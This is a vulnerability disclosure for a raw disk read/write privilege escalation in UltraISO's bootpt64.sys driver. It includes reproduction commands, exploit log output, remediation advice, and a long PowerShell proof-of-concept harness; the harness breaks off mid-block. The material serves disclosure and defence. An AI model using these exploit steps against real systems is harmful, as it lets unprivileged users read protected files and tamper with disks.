UltraISO Premium 9.76 Kernel Driver bootpt64.sys Local Privilege Escalation

CVE-2026-12786 Summary

UltraISO Premium Edition 9.76 ships the signed kernel driver `bootpt64.sys`. The driver exposes `\\.\BootPart` to standard users and allows a caller to mount a selected physical disk range through IOCTL `0x7F300`. After the mount succeeds, normal `ReadFile` and `WriteFile` operations on the BootPart device are serviced by a raw disk handle opened inside the driver.

In the validation below, a standard user at Medium Integrity could not read or write a protected flag file on a temporary VHD and could not open the VHD as `\\.\PhysicalDrive1`. The same standard user opened `\\.\BootPart`, mounted disk 1, and read the protected file's NTFS data clusters by raw disk offset. In a separate non-destructive write proof, the same user wrote a marker to an unused sector of a temporary unformatted VHD attached as disk 2; an administrator raw readback from the VHD confirmed the marker.

An unprivileged user can exploit arbitrary read/write primitives over protected file resources to achieve local privilege escalation.

Affected Product and Version

- Product: UltraISO Premium Edition
- Tested version: 9.76
- Driver: `bootpt64.sys`
- Driver SHA-256: `96943D7B3FBCE92403392A2A8A31C3BE89C65F78E6A6D248EB16D120E46F1F1A`

Download URL and SHA-256

- Download URL: `https://www.ultraiso.com/uiso9_pe.exe`
- File name: `uiso9_pe.exe`
- Installer SHA-256: `5564ABF832BCB92CEFE7209CB8A583C462DBF8AB3652697634CD178324352616`

- Installer version: 9.7.6.3860 / UltraISO 9.76
- Installer signature: Valid, SHENZHEN YIBO DIGITAL SYSTEMS DEVELOPMENT CO., LTD.
- Driver signature: Valid, Shenzhen Yibo Digital Systems Development Co., Ltd.
- Driver load method: official installer silent install; installed `bootpt64.sys` loaded with a temporary demand-start kernel service for validation.

Vulnerability Type

Local raw disk read/write access-control bypass through a kernel driver.

Impact

A low-privileged local user can bypass normal Windows file and raw disk access checks and read or write sectors on a selected disk through `\\.\BootPart`. With filesystem metadata knowledge, the read primitive exposes protected file contents. The write primitive can tamper with raw disk data and is escalation-grade if applied to security-sensitive filesystem data or boot/system structures. This report proves the issue only against temporary VHDs created for the test.

Test Environment

- OS: Microsoft Windows Server 2025 Datacenter Evaluation, version 10.0.26100, 64-bit
- Administrator account used only for installation, VHD setup, driver load, evidence collection, and cleanup
- Test user: standard user `WIN-R10EKFCBLSE\low`
- Test user integrity: Medium Integrity
- Controlled read disk: temporary NTFS-formatted VHD attached as disk 1
- Controlled write disk: temporary unformatted VHD attached as disk 2 during the separate write proof

Driver Load / Setup Steps

The official UltraISO installer was downloaded and verified, then installed silently with restart suppressed:

```
uiso9_pe.exe /VERYSILENT /SUPPRESSMSGBOXES /NORESTART /SP-
/DIR=C:\ProgramData\VendorRepro\ultraiso_app
```

The installed driver was loaded with a temporary kernel service:

```
sc.exe create BootPartRepro type= kernel start= demand binPath=
C:\ProgramData\VendorRepro\ultraiso_app\drivers\bootpt64.sys
sc.exe start BootPartRepro
```

Observed:

```
SERVICE_NAME: BootPartRepro
TYPE               : 1  KERNEL_DRIVER
STATE              : 4  RUNNING
```

Reproduction Steps

For the protected-file read proof, create a temporary VHD, format it as NTFS, create a protected marker file, resolve its NTFS data run, and run the exploit as the standard user:

```
ultraiso_bootpart_flag_rw_exploit.exe --mode read --disk 1 --offset 5869568 --length 20480 --expect-marker
ULTRAISO-BOOTPART-PROTECTED-FLAG-c8fdec55-8a48-4b44-8ff5-b5b4321efa30 --out
C:\ProgramData\VendorRepro\ultraiso_bootpart_evidence\exploit_read_clusters.bin --drive-letter Q
```

For the raw write proof, create and attach a temporary unformatted VHD, then run the exploit as the same standard user against an unused offset:

```
ultraiso_bootpart_flag_rw_exploit.exe --mode write --disk 2 --offset 4194304 --length 512 --write-marker
ULTRAISO-BOOTPART-RAW-WRITE-da427265-e023-4ec6-805c-9c4c4062fe43 --drive-letter Q
```

The included one-click script performs the setup, baseline, exploit, administrator readback, and cleanup steps:

```
.\repro_one_click.ps1 -LowUser "$env:COMPUTERNAME\low" -UseEnvPassword -AttemptWrite
```

The write proof uses a temporary unformatted VHD to avoid writing filesystem metadata or user data. A previous attempt to overwrite an NTFS file cluster through BootPart returned `ERROR_NOT_READY`; that failed NTFS-cluster attempt is not used as proof.

Baseline Evidence

The protected-file read baseline ran as a standard user:

```
[IDENTITY] user=WIN-R10EKFCBLSE\low
[IDENTITY] is_administrator=False
```

Windows denied direct access to the protected test file:

```
[BASELINE] protected_read=DENIED path=R:\protected\admin_only_flag.bin error=Exception calling
"ReadAllBytes" with "1" argument(s): "Access to the path 'R:\protected\admin_only_flag.bin' is denied."
[BASELINE] protected_write=DENIED path=R:\protected\admin_only_flag.bin error=Exception calling
"WriteAllText" with "2" argument(s): "Access to the path 'R:\protected\admin_only_flag.bin' is denied."
```

Windows denied direct raw disk open:

```
[BASELINE] raw_disk_open=DENIED path=\\.\PhysicalDrive1 error=5377
```

The raw write baseline also ran as the same standard user and direct raw disk access was denied:

```
[IDENTITY] user=WIN-R10EKFCBLSE\low
[IDENTITY] is_administrator=False
[BASELINE] raw_disk_open=DENIED path=\\.\PhysicalDrive2 error=5377
```

Exploit Evidence

The same standard user opened the driver and mounted the raw disk through BootPart for the read proof:

```
[DRIVER] open=SUCCESS path=\\.\BootPart
[DRIVER] mount=SUCCESS disk=1 read_only=True drive=Q: start_sector=0 sectors=4294967295
```

The same standard user read the protected file's data clusters by raw disk offset:

```
[EXPLOIT_READ] success=True disk=1 offset=5869568 bytes=20480
out=C:\ProgramData\VendorRepro\ultraiso_bootpart_evidence\exploit_read_clusters.bin
[EXPLOIT_READ] prefix=ULTRAISO-BOOTPART-PROTECTED-FLAG-c8fdec55-8a48-4b44-8ff5-
b5b4321efa30AAAAAAAA...
[RESULT] read_marker_found=True
```

The raw write proof also ran as the standard user:

```
[IDENTITY] user=WIN-R10EKFCBLSE\low
[IDENTITY] is_administrator=False
[IDENTITY] integrity=Medium
[BASELINE] raw_disk_open=DENIED path=\\.\PhysicalDrive2 error=5
[DRIVER] open=SUCCESS path=\\.\BootPart
[DRIVER] mount=SUCCESS disk=2 read_only=False drive=Q: start_sector=8192 sectors=1
[WRITE_ATTEMPT] path=\\.\BootPart result=SUCCESS
[EXPLOIT_WRITE] success=True disk=2 absolute_offset=4194304 io_offset=0 bytes=512 path=\\.\BootPart
[EXPLOIT_WRITE] marker=ULTRAISO-BOOTPART-RAW-WRITE-da427265-e023-4ec6-805c-9c4c4062fe43
[RESULT] write_succeeded=True
[DRIVER] unmount_ok=True error=0
```

Administrator raw readback from the temporary VHD-backed disk confirmed the marker at the written sector:


```
{
  "low_exit": 0,
  "bytes_read": 512,
  "expected_marker": "ULTRAISO-BOOTPART-RAW-WRITE-da427265-e023-4ec6-805c-9c4c4062fe43",
  "marker_found": true,
  "prefix": "ULTRAISO-BOOTPART-RAW-WRITE-da427265-e023-4ec6-805c-
9c4c4062fe43BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB
BBBBBBBBBBBBBBBBBBBBBBBB"
}
```


Why This Proves the Vulnerability

The test user is a standard user at Medium Integrity. Windows correctly denied direct access to the protected file and direct raw access to the temporary physical disk. The same user could read protected file data and write raw disk sectors through `\\.\BootPart`.

The IDA Pro MCP analysis explains why this happens: the driver grants Builtin Users access to the control device, accepts caller-controlled disk mount parameters, opens the selected disk from kernel context without `OBJ_FORCE_ACCESS_CHECK`, then services user read/write requests through `ZwReadFile` and `ZwWriteFile` on that privileged raw disk handle.

Therefore, the driver exposes privileged raw disk functionality without enforcing the Windows access checks that normally prevent a standard user from reading or writing raw disk sectors.

Cleanup Steps

```
Dismount-DiskImage -ImagePath C:\ProgramData\VendorRepro\ultraiso_bootpart\controlled_disk.vhd
sc.exe stop BootPartRepro
sc.exe delete BootPartRepro
C:\ProgramData\VendorRepro\ultraiso_app\unins000.exe /VERYSILENT /SUPPRESSMSGBOXES /NORESTART
Remove-Item C:\ProgramData\VendorRepro\ultraiso_bootpart -Recurse -Force
Remove-Item C:\ProgramData\VendorRepro\ultraiso_app -Recurse -Force
```

Cleanup was confirmed:

```
WorkRoot exists after cleanup: False
InstallDir exists after cleanup: False
BootPartRepro service query after cleanup:
The specified service does not exist as an installed service.
```

Suggested Remediation

- Do not grant Builtin Users generic access to the BootPart control device.
- Restrict the device SDDL to SYSTEM and Administrators, or move private disk operations behind a trusted service.
- Before opening raw disk objects, impersonate the caller and enforce normal Windows access checks, including `OBJ_FORCE_ACCESS_CHECK`.
- Remove raw disk read/write support from the public device interface unless it is strictly required.
- Add explicit authorization checks for the mount IOCTL and any read/write path backed by raw disk handles.
- Treat write operations as especially sensitive and require an administrator-only broker even for removable or image-backed disks.

POC

repro_one_click.ps1

```
[CmdletBinding()]
param(
    [string]$RepoRoot,
```

```
    [string]$LowUser = 'EXPDEV\low',
    [System.Management.Automation.PSCredential]$LowCredential,
    [switch]$UseEnvPassword,
    [switch]$AttemptWrite,
    [switch]$SkipCleanup
)

$ErrorActionPreference = 'Stop'
$ProgressPreference = 'SilentlyContinue'

function Assert-Admin {
    $identity = [Security.Principal.WindowsIdentity]::GetCurrent()
    $principal = [Security.Principal.WindowsPrincipal]::new($identity)
    if (-not $principal.IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) {
        throw 'Run from an elevated PowerShell session.'
    }
}

function Get-LowCredential {
    if ($LowCredential) { return $LowCredential }
    if ($UseEnvPassword) {
        $plain = [Environment]::GetEnvironmentVariable('VENDOR_REPRO_LOW_PASSWORD')
        if ([string]::IsNullOrWhiteSpace($plain)) { throw 'VENDOR_REPRO_LOW_PASSWORD is not set.' }
        return [System.Management.Automation.PSCredential]::new($LowUser, (ConvertTo-SecureString $plain -
AsPlainText -Force))
    }
    return Get-Credential -UserName $LowUser -Message 'Credential for the standard test user'
}

function Download-Installer([string]$OutPath) {
    if (Test-Path $OutPath) { return }
    New-Item -ItemType Directory -Force -Path (Split-Path $OutPath -Parent) | Out-Null
    Invoke-WebRequest -Uri 'https://www.ultraiso.com/uiso9_pe.exe' -OutFile $OutPath -UseBasicParsing -
TimeoutSec 180 -Headers @{ 'User-Agent'='Mozilla/5.0' }
}

function Compile-Exploit([string]$SourcePath, [string]$ExePath) {
    $csc = "$env:WINDIR\Microsoft.NET\Framework64\v4.0.30319\csc.exe"
    if (!(Test-Path $csc)) { throw "C# compiler not found: $csc" }
    New-Item -ItemType Directory -Force -Path (Split-Path $ExePath -Parent) | Out-Null
```

```
    & $csc /nologo /optimize+ /platform:x64 /target:exe "/out:$ExePath" $SourcePath
    if ($LASTEXITCODE -ne 0) { throw 'Exploit compilation failed.' }
}

function Run-Low {
    param(
        [string]$Name,
        [string]$FilePath,
        [string[]]$ArgumentList,
        [string]$Stdout,
        [string]$Stderr,
        [System.Management.Automation.PSCredential]$Credential,
        [string]$StatusPath
    )
    $p = Start-Process -FilePath $FilePath -ArgumentList $ArgumentList -Credential $Credential -LoadUserProfile -
WindowStyle Hidden -Wait -PassThru -RedirectStandardOutput $Stdout -RedirectStandardError $Stderr
    "$Name exit=$($p.ExitCode)" | Add-Content -LiteralPath $StatusPath -Encoding ascii
    if ($p.ExitCode -ne 0) { throw "$Name failed with exit code $($p.ExitCode)." }
}

function Run-LowBaseline {
    param(
        [uint32]$DiskNumber,
        [string]$FlagPath,
        [System.Management.Automation.PSCredential]$Credential,
        [string]$EvidenceDir,
        [string]$StatusPath
    )
    $script = Join-Path $EvidenceDir 'low_baseline.ps1'
    $stdout = Join-Path $EvidenceDir 'low_baseline_stdout.txt'
    $stderr = Join-Path $EvidenceDir 'low_baseline_stderr.txt'
    @"
`$ErrorActionPreference = 'Continue'
`$flag = '$FlagPath'
`$disk = '\\.\PhysicalDrive$DiskNumber'
`$id = [Security.Principal.WindowsIdentity]::GetCurrent()
`$principal = [Security.Principal.WindowsPrincipal]::new(`$id)
"[IDENTITY] user=`$(`$id.Name)"
"[IDENTITY] is_administrator=`$(`$principal.IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator))"
try {
```

```
    [IO.File]::ReadAllBytes(`$flag) | Out-Null
    "[BASELINE] protected_read=UNEXPECTED_SUCCESS path=`$flag"
} catch {
    "[BASELINE] protected_read=DENIED path=`$flag error=`$(`$_.Exception.Message)"
}
try {
    [IO.File]::WriteAllText(`$flag, 'SHOULD-NOT-WRITE')
    "[BASELINE] protected_write=UNEXPECTED_SUCCESS path=`$flag"
} catch {
    "[BASELINE] protected_write=DENIED path=`$flag error=`$(`$_.Exception.Message)"
}
try {
    `$fs = [IO.File]::Open(`$disk, [IO.FileMode]::Open, [IO.FileAccess]::ReadWrite, [IO.FileShare]::ReadWrite)
    "[BASELINE] raw_disk_open=UNEXPECTED_SUCCESS path=`$disk"
    `$fs.Close()
} catch {
    "[BASELINE] raw_disk_open=DENIED path=`$disk error=`$(`$_.Exception.HResult -band 0xffff)"
}
"@ | Set-Content -LiteralPath $script -Encoding ascii
    $p = Start-Process -FilePath powershell.exe -ArgumentList @('-NoProfile','-ExecutionPolicy','Bypass','-
File',$script) -Credential $Credential -LoadUserProfile -WindowStyle Hidden -Wait -PassThru -
RedirectStandardOutput $stdout -RedirectStandardError $stderr
    "low_baseline exit=$($p.ExitCode)" | Add-Content -LiteralPath $StatusPath -Encoding ascii
    if ($p.ExitCode -ne 0) { throw "low_baseline failed with exit code $($p.ExitCode)." }
}

function Create-Vhd([string]$WorkRoot, [string]$EvidenceDir) {
    $vhd = Join-Path $WorkRoot 'controlled_disk.vhd'
    $script = Join-Path $WorkRoot 'create_vhd.diskpart'
    @"
create vdisk file="$vhd" maximum=96 type=fixed
select vdisk file="$vhd"
attach vdisk
create partition primary
"@ | Set-Content -LiteralPath $script -Encoding ascii
    (& diskpart.exe /s $script) | Out-File -LiteralPath (Join-Path $EvidenceDir 'diskpart_create.txt') -Encoding ascii
    $disk = Get-DiskImage -ImagePath $vhd | Get-Disk
    $partition = Get-Partition -DiskNumber $disk.Number | Where-Object { $_.Type -ne 'Reserved' } | Select-
Object -First 1
    $partition | Format-List | Out-File -LiteralPath (Join-Path $EvidenceDir 'partition_before_format.txt') -Encoding
```

```
ascii
    $partition | Set-Partition -NewDriveLetter R
    Format-Volume -DriveLetter R -FileSystem NTFS -NewFileSystemLabel BOOTPARTREPRO -Confirm:$false -
Force | Format-List | Out-File -LiteralPath (Join-Path $EvidenceDir 'format_volume.txt') -Encoding ascii
    return $disk.Number
}

function New-ProtectedFlag([uint32]$DiskNumber, [string]$WorkRoot, [string]$EvidenceDir) {
    New-Item -ItemType Directory -Force -Path 'R:\protected' | Out-Null
    $marker = 'ULTRAISO-BOOTPART-PROTECTED-FLAG-' + [guid]::NewGuid().ToString()
    $bytes = New-Object byte[] 20480
    $markerBytes = [Text.Encoding]::ASCII.GetBytes($marker)
    [Array]::Copy($markerBytes, 0, $bytes, 0, $markerBytes.Length)
    for ($i = $markerBytes.Length; $i -lt $bytes.Length; $i++) { $bytes[$i] = 0x41 }
    $flag = 'R:\protected\admin_only_flag.bin'
    [IO.File]::WriteAllBytes($flag, $bytes)
    (& icacls.exe $flag /inheritance:r /grant:r 'Administrators:F' 'SYSTEM:F') | Out-File -LiteralPath (Join-Path
$EvidenceDir 'flag_acl_set.txt') -Encoding ascii
    (& icacls.exe $flag) | Out-File -LiteralPath (Join-Path $EvidenceDir 'flag_acl.txt') -Encoding ascii
    $ntfs = (fsutil fsinfo ntfsinfo R:) 2>&1
    $extents = (fsutil file queryextents $flag) 2>&1
    $ntfs | Out-File -LiteralPath (Join-Path $EvidenceDir 'ntfs_info.txt') -Encoding ascii
    $extents | Out-File -LiteralPath (Join-Path $EvidenceDir 'file_extents.txt') -Encoding ascii
    [uint64]$bytesPerCluster = 0
    foreach ($line in $ntfs) { if ($line -match 'Bytes Per Cluster\s*:\s*(\d+)') { $bytesPerCluster =
[uint64]$Matches[1] } }
    $lcn = $null; $clusters = $null
    foreach ($line in $extents) {
        if ($line -match 'VCN:\s*0x[0-9a-fA-F]+\s+Clusters:\s*0x([0-9a-fA-F]+)\s+LCN:\s*0x([0-9a-fA-F]+)') {
            $clusters = [Convert]::ToUInt64($Matches[1], 16)
            $lcn = [Convert]::ToUInt64($Matches[2], 16)
            break
        }
    }
    if ($bytesPerCluster -eq 0 -or $null -eq $lcn) { throw 'Could not parse NTFS data run.' }
    $partition = Get-Partition -DriveLetter R
    [uint64]$diskOffset = [uint64]$partition.Offset + ($lcn * $bytesPerCluster)
    [uint64]$runLength = $clusters * $bytesPerCluster
    $meta = [pscustomobject]@{
        marker = $marker
```

```
        vhd_path = (Join-Path $WorkRoot 'controlled_disk.vhd')
        disk_number = $DiskNumber
        drive_letter = 'R'
        partition_offset = [uint64]$partition.Offset
        bytes_per_cluster = $bytesPerCluster
        first_lcn = $lcn
        first_run_clusters = $clusters
        disk_offset = $diskOffset
        run_length = $runLength
        protected_file = $flag
    }
    $meta | ConvertTo-Json | Set-Content -LiteralPath (Join-Path $EvidenceDir 'test_object_metadata.json') -
Encoding ascii
    return $meta
}

function Run-RawWriteProof {
    param(
        [string]$WorkRoot,
        [string]$EvidenceDir,
        [string]$ExploitExe,
        [System.Management.Automation.PSCredential]$Credential,
        [string]$StatusPath
    )

    $rawVhd = Join-Path $WorkRoot 'raw_write_disk.vhd'
    $diskpartScript = Join-Path $WorkRoot 'create_raw_write_vhd.diskpart'
    @"
create vdisk file="$rawVhd" maximum=64 type=fixed
select vdisk file="$rawVhd"
attach vdisk
"@ | Set-Content -LiteralPath $diskpartScript -Encoding ascii
    (& diskpart.exe /s $diskpartScript) | Out-File -LiteralPath (Join-Path $EvidenceDir
'raw_write_diskpart_create.txt') -Encoding ascii
    $disk = Get-DiskImage -ImagePath $rawVhd | Get-Disk
    $disk | Format-List | Out-File -LiteralPath (Join-Path $EvidenceDir 'raw_write_disk_info.txt') -Encoding ascii

    $baselineScript = Join-Path $EvidenceDir 'low_raw_write_baseline.ps1'
    $baselineStdout = Join-Path $EvidenceDir 'low_raw_write_baseline_stdout.txt'
    $baselineStderr = Join-Path $EvidenceDir 'low_raw_write_baseline_stderr.txt'
```

```
    @"
`$ErrorActionPreference = 'Continue'
`$disk = '\\.\PhysicalDrive$($disk.Number)'
`$id = [Security.Principal.WindowsIdentity]::GetCurrent()
`$principal = [Security.Principal.WindowsPrincipal]::new(`$id)
"[IDENTITY] user=`$(`$id.Name)"
"[IDENTITY] is_administrator=`$(`$principal.IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator))"
try {
    `$fs = [IO.File]::Open(`$disk, [IO.FileMode]::Open, [IO.FileAccess]::ReadWrite, [IO.FileShare]::ReadWrite)
    "[BASELINE] raw_disk_open=UNEXPECTED_SUCCESS path=`$disk"
    `$fs.Close()
} catch {
    "[BASELINE] raw_disk_open=DENIED path=`$disk error=`$(`$_.Exception.HResult -band 0xffff)"
}
"@ | Set-Content -LiteralPath $baselineScript -Encoding ascii
    $baselineProcess = Start-Process -FilePath powershell.exe -ArgumentList @('-NoProfile','-
ExecutionPolicy','Bypass','-File',$baselineScript) -Credential $Credential -LoadUserProfile -WindowStyle Hidden -
Wait -PassThru -RedirectStandardOutput $baselineStdout -RedirectStandardError $baselineStderr
    "low_raw_write_baseline exit=$($baselineProcess.ExitCode)" | Add-Content -LiteralPath $StatusPath -Encoding
ascii
    if ($baselineProcess.ExitCode -ne 0) { throw "low_raw_write_baseline failed with exit code
$($baselineProcess.ExitCode)." }

    [uint64]$offset = 4194304
    [uint32]$length = 512
    $writeMarker = 'ULTRAISO-BOOTPART-RAW-WRITE-' + [guid]::NewGuid().ToString()
    [pscustomobject]@{
        write_marker = $writeMarker
        disk_number = [uint32]$disk.Number
        disk_offset = $offset
        length = $length
        vhd_path = $rawVhd
        note = 'Temporary unformatted VHD raw sector write proof.'
    } | ConvertTo-Json | Set-Content -LiteralPath (Join-Path $EvidenceDir 'raw_write_marker_metadata.json') -
Encoding ascii

    Run-Low -Name 'low_raw_write_exp' -FilePath $ExploitExe -Credential $Credential -StatusPath $StatusPath `
        -Stdout (Join-Path $EvidenceDir 'low_raw_write_exp_stdout.txt') `
        -Stderr (Join-Path $EvidenceDir 'low_raw_write_exp_stderr.txt') `
        -ArgumentList @('--mode','write','--disk',[string]$disk.Number,'--offset',[string]$offset,'--
```

```
length',[string]$length,'--write-marker',$writeMarker,'--drive-letter','Q')

    $rawPath = "\\.\PhysicalDrive$($disk.Number)"
    $buf = New-Object byte[] $length
    $fs = [IO.File]::Open($rawPath, [IO.FileMode]::Open, [IO.FileAccess]::Read, [IO.FileShare]::ReadWrite)
    try {
        $fs.Seek([int64]$offset, [IO.SeekOrigin]::Begin) | Out-Null
        $read = $fs.Read($buf, 0, $buf.Length)
    } finally {
        $fs.Dispose()
    }
    [IO.File]::WriteAllBytes((Join-Path $EvidenceDir 'raw_write_admin_readback.bin'), $buf)
    $prefix = [Text.Encoding]::ASCII.GetString($buf, 0, [Math]::Min(160, $buf.Length))
    $markerFound = $prefix.Contains($writeMarker)
    [pscustomobject]@{
        low_exit = 0
        bytes_read = $read
        expected_marker = $writeMarker
        marker_found = $markerFound
        prefix = $prefix
    } | ConvertTo-Json | Set-Content -LiteralPath (Join-Path $EvidenceDir 'raw_write_admin_readback.json') -
Encoding ascii
    if (-not $markerFound) { throw 'Admin raw readback did not find the raw write marker.' }

    Dismount-DiskImage -ImagePath $rawVhd -ErrorAction SilentlyContinue | Out-File -LiteralPath (Join-Path
$EvidenceDir 'raw_write_dismount.txt') -Encoding ascii
}

function Ensure-BootPartLoaded([string]$DriverPath, [string]$EvidenceDir) {
    (& sc.exe create BootPartRepro type= kernel start= demand binPath= $DriverPath) | Out-File -LiteralPath
(Join-Path $EvidenceDir 'driver_service_create.txt') -Encoding ascii
    (& sc.exe start BootPartRepro) | Out-File -LiteralPath (Join-Path $EvidenceDir 'driver_service_start.txt') -
Encoding ascii
    (& sc.exe query BootPartRepro) | Out-File -LiteralPath (Join-Path $EvidenceDir 'driver_service_status.txt') -
Encoding ascii
    (& sc.exe qc BootPartRepro) | Out-File -LiteralPath (Join-Path $EvidenceDir 'driver_service_config.txt') -
Encoding ascii
}

function Cleanup-Repro([string]$WorkRoot, [string]$InstallDir, [string]$EvidenceDir) {
```

```
    $cleanup = Join-Path $EvidenceDir 'cleanup_log.txt'
    "Cleanup started: $(Get-Date -Format o)" | Set-Content -LiteralPath $cleanup -Encoding ascii
    try {
        Get-ChildItem -LiteralPath $WorkRoot -Filter '*.vhd' -ErrorAction SilentlyContinue | ForEach-Object {
            Dismount-DiskImage -ImagePath $_.FullName -ErrorAction SilentlyContinue | Out-File -LiteralPath
$cleanup -Append -Encoding ascii
        }
        (& sc.exe stop BootPartRepro 2>&1) | Out-File -LiteralPath $cleanup -Append -Encoding ascii
        (& sc.exe delete BootPartRepro 2>&1) | Out-File -LiteralPath $cleanup -Append -Encoding ascii
        $uninstaller = Join-Path $InstallDir 'unins000.exe'
        if (Test-Path $uninstaller) {
            $p = Start-Process -FilePath $uninstaller -ArgumentList
@('/VERYSILENT','/SUPPRESSMSGBOXES','/NORESTART') -WindowStyle Hidden -Wait -PassThru
            "uninstaller exit=$($p.ExitCode)" | Add-Content -LiteralPath $cleanup -Encoding ascii
        }
        Remove-Item -LiteralPath $WorkRoot, $InstallDir -Recurse -Force -ErrorAction SilentlyContinue
    } finally {
        "WorkRoot exists after cleanup: $(Test-Path $WorkRoot)" | Add-Content -LiteralPath $cleanup -Encoding
ascii
        "InstallDir exists after cleanup: $(Test-Path $InstallDir)" | Add-Content -LiteralPath $cleanup -Encoding ascii
        "BootPartRepro service query after cleanup:" | Add-Content -LiteralPath $cleanup -Encoding ascii
        (& sc.exe query BootPartRepro 2>&1) | Out-File -LiteralPath $cleanup -Append -Encoding ascii
    }
}

Assert-Admin
$credential = Get-LowCredential
$packageDir = $PSScriptRoot
if ([string]::IsNullOrWhiteSpace($RepoRoot)) { $RepoRoot = (Resolve-Path (Join-Path $packageDir '..\..\..')).Path
}

$workRoot = 'C:\ProgramData\VendorRepro\ultraiso_bootpart'
$evidenceTemp = 'C:\ProgramData\VendorRepro\ultraiso_bootpart_evidence'
$installDir = 'C:\ProgramData\VendorRepro\ultraiso_app'
$finalEvidence = Join-Path $packageDir 'evidence'
$installer = Join-Path $RepoRoot 'dev\downloads\ultraiso\uiso9_pe.exe'
$exploitSource = Join-Path $RepoRoot 'dev\poc\ultraiso_bootpart_flag_rw_exploit.cs'
$exploitExe = Join-Path $RepoRoot 'dev\poc\bin\ultraiso_bootpart_flag_rw_exploit.exe'

Remove-Item -LiteralPath $evidenceTemp -Recurse -Force -ErrorAction SilentlyContinue
```

```
New-Item -ItemType Directory -Force -Path $workRoot, $evidenceTemp | Out-Null
(& icacls.exe $workRoot /grant '*S-1-5-32-545:(OI)(CI)M') | Out-File -LiteralPath (Join-Path $evidenceTemp 'runtime_acl_setup.txt') -Encoding ascii
(& icacls.exe $evidenceTemp /grant '*S-1-5-32-545:(OI)(CI)M') | Out-File -LiteralPath (Join-Path $evidenceTemp 'evidence_acl_setup.txt') -Encoding ascii

try {
    Download-Installer $installer
    Compile-Exploit $exploitSource $exploitExe
    $installLog = Join-Path $evidenceTemp 'installer.log'
    $p = Start-Process -FilePath $installer -ArgumentList @('/VERYSILENT','/SUPPRESSMSGBOXES','/NORESTART','/SP-',"/DIR=$installDir","/LOG=$installLog") -WindowStyle Hidden -PassThru
    if (-not $p.WaitForExit(180000)) { Stop-Process -Id $p.Id -Force -ErrorAction SilentlyContinue; throw 'UltraISO installer timed out.' }
    "installer exit=$($p.ExitCode)" | Set-Content -LiteralPath (Join-Path $evidenceTemp 'installer_status.txt') -Encoding ascii
    if ($p.ExitCode -ne 0) { throw "UltraISO installer failed with exit code $($p.ExitCode)." }
    Start-Sleep -Seconds 2
    $driver = Get-ChildItem -Path $installDir -Recurse -ErrorAction SilentlyContinue -Filter bootpt64.sys | Select-Object -First 1
    if (-not $driver) { throw 'bootpt64.sys was not found after installation.' }
    Ensure-BootPartLoaded -DriverPath $driver.FullName -EvidenceDir $evidenceTemp

    $diskNumber = Create-Vhd -WorkRoot $workRoot -EvidenceDir $evidenceTemp
    $meta = New-ProtectedFlag -DiskNumber ([uint32]$diskNumber) -WorkRoot $workRoot -EvidenceDir $evidenceTemp
    $status = Join-Path $evidenceTemp 'low_run_status.txt'
    'UltraISO low-user EXP run status' | Set-Content -LiteralPath $status -Encoding ascii
    Run-LowBaseline -DiskNumber ([uint32]$meta.disk_number) -FlagPath $meta.protected_file -Credential $credential -EvidenceDir $evidenceTemp -StatusPath $status

    (& mountvol.exe R: /p) | Out-File -LiteralPath (Join-Path $evidenceTemp 'volume_dismount_before_raw_io.txt') -Encoding ascii
    Start-Sleep -Seconds 2
    $readOut = Join-Path $evidenceTemp 'exploit_read_clusters.bin'
    Run-Low -Name 'low_exp_read' -FilePath $exploitExe -Credential $credential -StatusPath $status `
        -Stdout (Join-Path $evidenceTemp 'low_exp_read_stdout.txt') `
        -Stderr (Join-Path $evidenceTemp 'low_exp_read_stderr.txt') `
        -ArgumentList @('--mode','read','--disk',[string]$meta.disk_number,'--offset',[string]$meta.disk_offset,'--
```

```
length',[string]$meta.run_length,'--expect-marker',$meta.marker,'--out',$readOut,'--drive-letter','Q')

    $installerSig = Get-AuthenticodeSignature $installer
    $driverSig = Get-AuthenticodeSignature $driver.FullName
    [pscustomobject]@{
        product = 'UltraISO Premium Edition'
        product_version = (Get-Item $installer).VersionInfo.ProductVersion
        download_url = 'https://www.ultraiso.com/uiso9_pe.exe'
        file_name = 'uiso9_pe.exe'
        installer_sha256 = (Get-FileHash $installer -Algorithm SHA256).Hash
        installer_signature_status = $installerSig.Status.ToString()
        installer_signer_subject = $installerSig.SignerCertificate.Subject
        driver_name = 'bootpt64.sys'
        driver_path = $driver.FullName
        driver_sha256 = (Get-FileHash $driver.FullName -Algorithm SHA256).Hash
        driver_signature_status = $driverSig.Status.ToString()
        driver_signer_subject = $driverSig.SignerCertificate.Subject
        driver_load_method = 'Official installer silent install; extracted installed bootpt64.sys loaded with
temporary BootPartRepro kernel service.'
        low_exploit = 'ultraiso_bootpart_flag_rw_exploit.exe'
        low_exploit_sha256 = (Get-FileHash $exploitExe -Algorithm SHA256).Hash
        device_path = '\\.\BootPart'
    } | ConvertTo-Json -Depth 4 | Set-Content -LiteralPath (Join-Path $evidenceTemp
'product_driver_metadata.json') -Encoding ascii

    if ($AttemptWrite) {
        'Write phase uses a separate temporary unformatted VHD and an unused raw sector; no filesystem
metadata or user data is modified.' | Set-Content -LiteralPath (Join-Path $evidenceTemp 'raw_write_scope.txt') -
Encoding ascii
        Run-RawWriteProof -WorkRoot $workRoot -EvidenceDir $evidenceTemp -ExploitExe $exploitExe -Credential
$credential -StatusPath $status
    } else {
        'Write phase skipped by default; read-only protected-file disclosure proof completed.' | Set-Content -
LiteralPath (Join-Path $evidenceTemp 'write_phase_skipped.txt') -Encoding ascii
    }

    if (-not $SkipCleanup) { Cleanup-Repro $workRoot $installDir $evidenceTemp }
    Remove-Item -LiteralPath $finalEvidence -Recurse -Force -ErrorAction SilentlyContinue
    New-Item -ItemType Directory -Force -Path $finalEvidence | Out-Null
    Copy-Item -Path (Join-Path $evidenceTemp '*') -Destination $finalEvidence -Force
```

```
    Write-Host "Reproduction complete. Evidence copied to $finalEvidence"
} catch {
    "BLOCKED_OR_FAILED: $($_.Exception.Message)" | Set-Content -LiteralPath (Join-Path $evidenceTemp
'blocked_or_failed.txt') -Encoding ascii
    if (-not $SkipCleanup) { Cleanup-Repro $workRoot $installDir $evidenceTemp }
    Remove-Item -LiteralPath $finalEvidence -Recurse -Force -ErrorAction SilentlyContinue
    New-Item -ItemType Directory -Force -Path $finalEvidence | Out-Null
    Copy-Item -Path (Join-Path $evidenceTemp '*') -Destination $finalEvidence -Force -ErrorAction
SilentlyContinue
